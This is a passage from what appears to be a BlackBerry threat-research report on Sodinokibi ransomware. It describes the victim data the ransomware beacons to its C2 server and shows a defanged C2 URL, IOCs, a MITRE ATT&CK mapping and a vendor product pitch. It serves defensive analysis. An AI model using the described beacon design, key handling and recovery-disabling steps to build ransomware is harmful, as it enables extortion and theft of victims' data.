https[://]peppergreenfarmcatering[.]com[.]au/content/pictures/iiusng.jpg

Figure 27: Generated URL example

The POST request sent to each of these URLs contains the stat value from the registry which is made of the following information in JSON format, encrypted with AES-256-CTR with the key generated using curve25519 shared-key derivation algorithm, and SHA3-256:

Value

Content

ver

Malware version (0x102 hardcoded)

pid

Actor ID ("pid" from config) 

sub

Campaign ID ("sub" from config)

pk

Attacker's public key ("pk" from config)

uid

Vicitm UID (cpuid_hash + volume_serial_nr)

sk

Content of sk_key value from registry (includes victim’s private key, generated at runtime and encrypted using AES key derived with the use of public key from config)

unm

Username

net

Computer name

grp

TCP/IP domain

lng

OS language

bro

True if keyboard layout code ends with specified codes

os

OS version (ProductName)

bit

CPU architecture

dsk

Disk free space (base64 encoded)

ext

Random file extension for encrypted files

Figure 28: POST request custom fields

The malware will read the response from the C&C, but it does not store it, or use it anywhere in the code, suggesting that its networking functionality is limited to sending out a beacon with the victim’s information.

While some of the domains from the configuration might have been waterholed, it’s possible that the majority of them are included just as means of obfuscating the real C&C address.

Conclusions

Our analysis of Sodinokibi revealed several notable and surprising pieces of information. We observed attackers spreading the malware via MSSPs and Go2Assist, as well as using curve22519-based key exchange, perhaps a first for ransomware. We witnessed Sodinokibi transition between 32bit and 64bit operation using the Heaven’s Gate technique, while the C2 server was obfuscated in an impressive list of over a thousand pre-loaded domains.

Our investigation also uncovered details about Sodinokibi that invite further speculation. The exploit code is more elegant than the coding of the main ransomware. This may indicate that the exploit code was purchased elsewhere rather than developed by the attackers. We also saw the blue screen of death (BSOD) during testing which may mean the exploit code is not entirely stable, and hence not routinely enabled in many configurations.

For those wishing to avoid Sodinokibi attacks, BlackBerry Cylance trains artificial intelligence-based security agents on millions of both safe and unsafe files. This allows us to identify and prevent Sodinokibi based on countless file attributes and system behaviors instead of a specific file signature. BlackBerry Cylance, which offers a predictive advantage over zero-day threats, is effective against both new and legacy cyberattacks.

IOCs

Indicator

Type

Description

861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08

SHA256

Sodinokibi

Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0

Mutex

Run-once mutex name

Global\48ce5235-506a-49ee-999a-bee908c6aa17

Event

Exploit mutex name

[HKLM|HKCU]\SOFTWARE\recfg

Registry key

Config registry key

[HKLM|HKCU]\SOFTWARE\recfg\0_key

Registry vaue

Master key metadata

[HKLM|HKCU]\SOFTWARE\recfg\pk_key

Registry value

Victim’s main public key

[HKLM|HKCU]\SOFTWARE\recfg\sk_key

Registry value

Affiliate key metadata

[HKLM|HKCU]\SOFTWARE\recfg\sub_key

Registry value

Attacker's public key from config

[HKLM|HKCU]\SOFTWARE\recfg\stat

Registry value

Machine information

[HKLM|HKCU]\SOFTWARE\recfg\rnd_ext

Registry value

Random extension for encrypted files


MITRE ATT&CK

Tactic

ID

Name

Observed

Initial Access

T1190

Exploit Public-Facing Application

CVE-2019-2725 (Vulnerability the Oracle WebLogic Server)

T1133

External Remote Services

Go2Assist

T1199

Trusted Relationship

MSSP

Execution

T1059

Command-Line Interface

Executes cmd.exe

T1106

Execution through API

Executes cmd.exe

Privilege Escalation

T1068

Exploitation for Privilege Escalation

CVE-2018-8453

Defense Evasion

T1089

Disabling Security Tools

Uses BCDEDIT.EXE to disable recovery

Impact

T1486

Data Encrypted for Impact

Encrypts files using Salsa20

T1490

Inhibit System Recovery

Uses BCDEDIT.EXE to disable recovery and deletes volume shadow copies

The BlackBerry Research and Intelligence Team

About The BlackBerry Research and Intelligence Team

The BlackBerry Research and Intelligence team is a highly experienced threat research group specializing in a wide range of cybersecurity disciplines, conducting continuous threat hunting to provide comprehensive insights into emerging threats. We analyze and address various attack vectors, leveraging our deep expertise in the cyberthreat landscape to develop proactive strategies that safeguard against adversaries.

Whether it's identifying new vulnerabilities or staying ahead of sophisticated attack tactics, we are dedicated to securing your digital assets with cutting-edge research and innovative solutions.